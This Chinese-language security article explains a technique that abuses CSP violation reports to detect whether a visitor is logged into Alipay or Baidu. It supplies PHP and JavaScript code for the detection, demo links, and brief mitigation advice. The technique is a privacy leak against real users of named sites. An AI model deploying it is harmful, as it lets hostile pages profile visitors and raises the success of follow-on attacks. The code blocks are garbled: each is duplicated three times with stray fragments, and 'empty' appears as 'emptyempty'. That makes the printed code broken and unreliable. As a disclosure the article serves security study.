0x01 內容安全策略(Content Security Policy,簡稱CSP)簡介
內容安全策略(Content Security Policy,簡稱CSP)是一種以可信白名單作機制,來限制網站中是否可以包含某來源內容。默認配置下不允許執行內聯代碼
[script ]塊內容,內聯事件,內聯樣式 ,以及禁止執行eval() , newFunction() , setTimeout([string], …) 和setInterval([string], …) 。
CSP更詳盡的介紹可以在drops看到:http://drops.wooyun.org/tips/1439
0x02 大環境介紹與原理
簡單了解一下CSP,我們知道CSP可以限制網站中可否包含某來源的內容。同時,csp還可以在頁面違反規則的時候發送一個數據包,將具體細節通知給服務端。
我們再來想想像支付寶這種集成度很高的網站服務,當我們在未登錄的情況下訪問alipay的某個子域名(如test.alipay.com),很可能是會302跳轉到一個用戶登陸專用的域名(如login.alipay.com)下要求用戶登錄。而在已登錄的情況下是不會跳轉的。
這就造成了一個登錄/未登錄的一個差別,主要差別如下:
HTTP狀態碼(302和200)
最終訪問的域名(test.alipay.com和login.alipay.com)
因為瀏覽器SOP(同源策略)的限制,正常情況下我們是無法獲取到alipay域名下HTTP狀態碼的。
但結合CSP安全策略,我們卻可以簡單獲得第2個,也就是最終訪問域名。為什么?
我前面說了CSP是可以限制頁面中允許加載哪些來源的內容的。所以,當我們將CSP設置為只接受來源為test.alipay.com的內容,那么當加載來源為login.alipay.com的請求時就會被CSP策略拒絕,并可以將這個訪問report給服務端,我們通過report的內容就能判斷用戶訪問的是test還是login。 過程如下:
這就是原理,很贊的一個思路,再次崇拜一次@/fd。
[page]0x03 以支付寶為例編寫探測代碼
所以,根據上面的思路,我們第一步就是找到一個這樣的頁面:登錄、未登錄用戶訪問時到達的“域名”不相同。這里的“域名”包括protocol和hostname,也就是說http://test.alipay.com和https://test.alipay.com是不同的域名。
像支付寶這種網站有很多這樣的頁面,因為支付寶的很多服務是登錄用戶才能查看的,而登錄入口又只有那么一個。
比如這個URL:https://my.alipay.com/portal/i.htm,當未登錄用戶訪問的時候會跳轉到https://auth.alipay.com/login/index.htm,已登錄用戶訪問時不會跳轉。
這時候我們將CSP的img-src限制為https://my.alipay.com,再將https://my.alipay.com/portal/i.htm作為img的src,這個時候就會出現一個有趣的現象:未登錄的用戶訪問時,會觸發CSP規則。
因為未登錄的用戶訪問時實際img加載的src是https://auth.alipay.com/login/index.htm,不符合CSP限制的img-src,自然就觸發規則了。 這時候我們在設置CSP的report-uri為report.php,不符合規則的請求會被記錄下作為日志發送到report.php里:
不過瀏覽器在發送這個report包的時候是不帶cookie的,所以服務器那邊并不能直接判斷是哪個用戶發送的report包,所以我們在report的GET參數里帶上用戶的session id。
示例代碼如下:
session_start();
$ssid = session_id();
header("Content-Security-Policy:img-src https://my.alipay.com; report-uri report.php?ssid={$ssid}");
?> session_start();
$ssid = session_id();
header("Content-Security-Policy:img-src https://my.alipay.com; report-uri report.php?ssid={$ssid}");
> session_start();
$ssid = session_id();
header("Content-Security-Policy:img-src https://my.alipay.com; report-uri report.php?ssid={$ssid}");
>
<script type="text/javascript">
function check()
{
with(new XMLHttpRequest) {
open('GET', 'alipay.php');
send();
onreadystatechange = function() {
if (readyState ^ 4) return;
result.innerHTML = parseInt(responseText) > 0 ? '未登錄' : '已登錄';
}
}
}
</script>
report.php用來記錄:
session_start();
if (preg_match('/^[a-z0-9]*$/i', $_GET['ssid'])) {
session_id($_GET['ssid']);
}else{
exit;
}
$report = file_get_contents("php://input");
if (!emptyempty($report)) {
$_SESSION['nologin'] = 1;
}else{
$_SESSION['nologin'] = 0;
}
?> session_start();
if (preg_match('/^[a-z0-9]*$/i', $_GET['ssid'])) {
session_id($_GET['ssid']);
}else{
exit;
}
$report = file_get_contents("php://input");
if (!emptyempty($report)) {
$_SESSION['nologin'] = 1;
}else{
$_SESSION['nologin'] = 0;
}
> session_start();
if (preg_match('/^[a-z0-9]*$/i', $_GET['ssid'])) {
session_id($_GET['ssid']);
}else{
exit;
}
$report = file_get_contents("php://input");
if (!emptyempty($report)) {
$_SESSION['nologin'] = 1;
}else{
$_SESSION['nologin'] = 0;
}
>
當接收到php://input的時候說明CSP發送報告了,說明請求違反的CSP規則了,也就意味著用戶沒有登錄,所以將session中的nologin設置為1。 然后在index.php里用一個ajax來向alipay.php請求,實際上就是獲得$_SESSION[nologin]的值:
session_start();
echo isset($_SESSION['nologin']) ? $_SESSION['nologin'] : 0;
setcookie('PHPSESSID', '', time() - 10);
session_destroy();
?> session_start();
echo isset($_SESSION['nologin']) ? $_SESSION['nologin'] : 0;
setcookie('PHPSESSID', '', time() - 10);
session_destroy();
> session_start();
echo isset($_SESSION['nologin']) ? $_SESSION['nologin'] : 0;
setcookie('PHPSESSID', '', time() - 10);
session_destroy();
>
如上,獲取完后將session清除一下,以免影響下一次的判斷。
獲得值如果為1的話,說明沒有登錄,如果為0說明已登錄,就可以顯示出來或做任何其他操作了。
來個演示:http://mhz.pw/game/detect/alipay/
登錄支付寶以后訪問,顯示“已登錄”
換個瀏覽器,直接訪問則顯示“未登錄”:
[page]0x04 由http/https混用造成的問題(百度為例)
同樣的問題,不僅僅是支付寶存在,只要有“統一登錄入口”的網站都可能出現這個問題,因為統一登錄入口通常是一個單獨的域名。
還有一種情況,是http和https混用造成的。有些網站的登錄頁面是https加密傳輸的,但登陸以后實際的操作頁面是走http。
這之間一樣存在一個跳轉的問題,當我們訪問一個登陸后才能看到的頁面如http://xxx.com/index,未登錄的用戶就會跳轉到登錄頁面,如https://xxx.com/login。
在CSP里http和https是完全不同的兩個來源,所以也能觸發CSP規則。
比如https://passport.baidu.com,這是百度的安全中心。當已登錄用戶訪問的時候會跳轉到“安全中心”首頁http://passport.baidu.com/center(注意,此處是http):
而未登錄用戶訪問則會跳轉到https://passport.baidu.com/v2/?login(這時候是https):
雖然兩個域名都是passport.baidu.com,但因為protocol不同,混用的http和https就能夠影響CSP的攔截情況。
我們將CSP設置為img-src https://passport.baidu.com ,那么img的src就只接受來源為https://passport.baidu.com的img,那么已登錄用戶訪問的http://passport.baidu.com/center就會被阻止,產生一個CSP報告。記錄下這個報告,一樣能判斷訪客是否已登錄百度。
測試你是否登錄百度:http://mhz.pw/game/detect/baidu/
0x05 影響及防范方法
嚴格來論,只是判斷用戶是否登錄,這個問題并不算一個漏洞。當時@/fd將問題提交到推特之后推特的回應也是不算漏洞,但確實如果與其他一些漏洞結合使用,會讓某些漏洞的成功率提高一大截。所以我們可以將之歸為一個“奇技淫巧”。
這個問題更容易出現在一些大型網站、企業網絡之中,往往這些網站的統一性和重用性都做的很好,所以往往登錄入口只有一個(現在流行一個user center的概念),所以難免會出現一些跳轉的問題。有這些跳轉,就是探測用戶登錄的基礎。
這個方法還有一個限制,就是用戶使用的瀏覽器需要是現代瀏覽器,需要支持CSP安全策略。如果你要探測的用戶還在用IE6~IE10,那么是肯定不行的。 如何解決這個問題?如果你真的覺得這是個安全問題的話,那么盡量避免跳轉,或者使用javascript進行頁面的跳轉。